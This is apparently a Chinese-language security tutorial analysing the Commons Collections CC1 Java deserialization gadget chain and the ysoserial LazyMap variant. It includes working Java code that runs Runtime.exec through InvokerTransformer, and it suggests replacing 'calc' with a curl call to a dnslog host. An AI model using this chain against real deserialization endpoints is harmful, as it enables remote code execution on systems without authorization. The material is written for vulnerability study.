前言

Apache Commons  Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件，Commons Collections被广泛的各种Java应用的开发。

commons-collections组件反序列化漏洞的反射链也称为CC链，自从apache commons-collections组件爆出第一个java反序列化漏洞后，就像打开了java安全的新世界大门一样，之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。

阅读本篇文章所需基础：

java反射机制

环境搭建

idea

commons-collections jar包

commons-collections jar包获取方法

1.Maven仓库获取

2.Maven项目导入

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

利用链分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Cc1 {
  public static void main(String[] args) {
      ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[] {
                      String.class, Class[].class }, new Object[] {
                      "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke", new Class[] {
                      Object.class, Object[].class }, new Object[] {null,new Object[0] }),
              new InvokerTransformer("exec",
                      new Class[] { String.class }, new Object[]{"calc"})});
      chain.transform(123);
  }
}

代码格式简单调整一下

确认可以弹出计算器

shift+f9 调试一下，可以发现，触发弹出计算器的位置在这一句

chain.transform(123);

可以从这一句跟进，查看它后续的运行情况

可以记录一下此时chain这个对象的值，方便后续分析

f7跟进后可以看到，调用的transform内容为：调用上面chain中，iTransformers数组内的每一个元素的transform函数，传入的参数是object=123

当i=0时，调用如下

此时objcet变为Runtime类名

接下来进入到第二个元素的transform，注意：传入的object input为上一步中返回的class java.lang.Runtime。可以简单看一下这段代码，首先if条件不满足input为空，所以进入else；

else中，首先通过getClass记录了input对象的类名，类名为class java.lang.Runtime；

接下来，调用cls的getMethod方法并进行invoke（反射的基本操作，这一段其实就是在用反射）。

循环下来可以很清楚的看到，调用了Runtime.exec，而且参数为calc

所以调试执行了这一句的时候，计算器会弹出

return method.invoke(input, this.iArgs);

漏洞利用

既然清楚了漏洞原理，很容易发现，只需要通过Runtime.exec 调用cmd，传入想要执行的命令，就可以形成漏洞利用，例如将calc修改为

cmd /c curl f4ykmb.dnslog.cn

编译运行，可以看到

既然确定可以达到预期效果，那么接下来就需要通过一些操作达到远程利用了。

Apache Commons Collections主要提供了两个类，TransformedMap和LazyMap类，其可以修饰一个Map数据，当对该Map数据进行具体操作时就会触发transform。Apache Commons Collections反序列化的CC链主要使用的是TransformedMap类，而Ysoserial  CC1链主要使用的是LazyMap类。

这里简单讲解一下关于Ysoserial的CC1链构造

Ysoserial的CC1链构造主要依赖了commons-collections 中的LazyMap类下的get函数，其中调用了transform()

接下来可以看代码

通过decorate()，可以创建一个LazyMap对象，但是由于其get方法并不可控，所以需要

寻找一个特定的可序列化类，该类重写了readObject( )函数，并且在readObject( )中调用了lazyMap的get()函数。

刚好AnnotationInvocationHandler类重写了readObject( )函数，但其并没有明确的调用get()函数

其中没有明确调用get方法，但是AnnotationInvocationHandler类实现了InvocationHandler接口，其invoke( )函数，部分代码如下

红框部分的代码，调用了memberValues.get()函数，而switch函数的作用是判断var7变量值，只要var7的值为0、1、2之外的值，就可以进入default分支。

继续往上面看，上面的代码中可以发现，当代理的对象调用toString，hashCode，annotationType时，分别对应返回0、1、2三种情况

追查this.memberValues的来源可以发现，这个memberValues的值来自构造函数传入，并且为Map类型，所以可以满足构造条件，只要调用AnnotationInvocationHandler实例对象的invoke方法就可以触发攻击链，导致代码执行。

每一个proxy代理实例都有一个关联的调用处理程序InvocationHandler，而invoke方法就是代理对象调用方法时的调用处理程序。

因此需要构造一个动态代理的对象，让其调用方法，从而触发invoke方法。

AnnotationInvocationHandler的readObject方法下，this.memberValues是可控的，当其是一个AnnotationInvocationHandler类生成的动态代理对象时，在调用entrySet()方法时，会自动去调用invoke方法，而由于其调用的不是toString，hashCode等方法，就会执行上面提到过的Object var6 = this.memberValues.get(var4)，从而完成攻击链条，导致代码执行。

总结

InvokerTransformerCC1链的漏洞点位于InvokerTransformer.class中反射加载参数可控

那么只需要调用到这个点，就可以触发漏洞，可以参考ysoserial中的CC1利用

ysoserial中的CC1链，是使用LazyMap构造的，LazyMap构造的整条攻击路径为

redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()->chainedTransformer的transform->利用InvokerTransformer的transform构造Runtime对象（漏洞点处那一段）->执行Runtime.exec()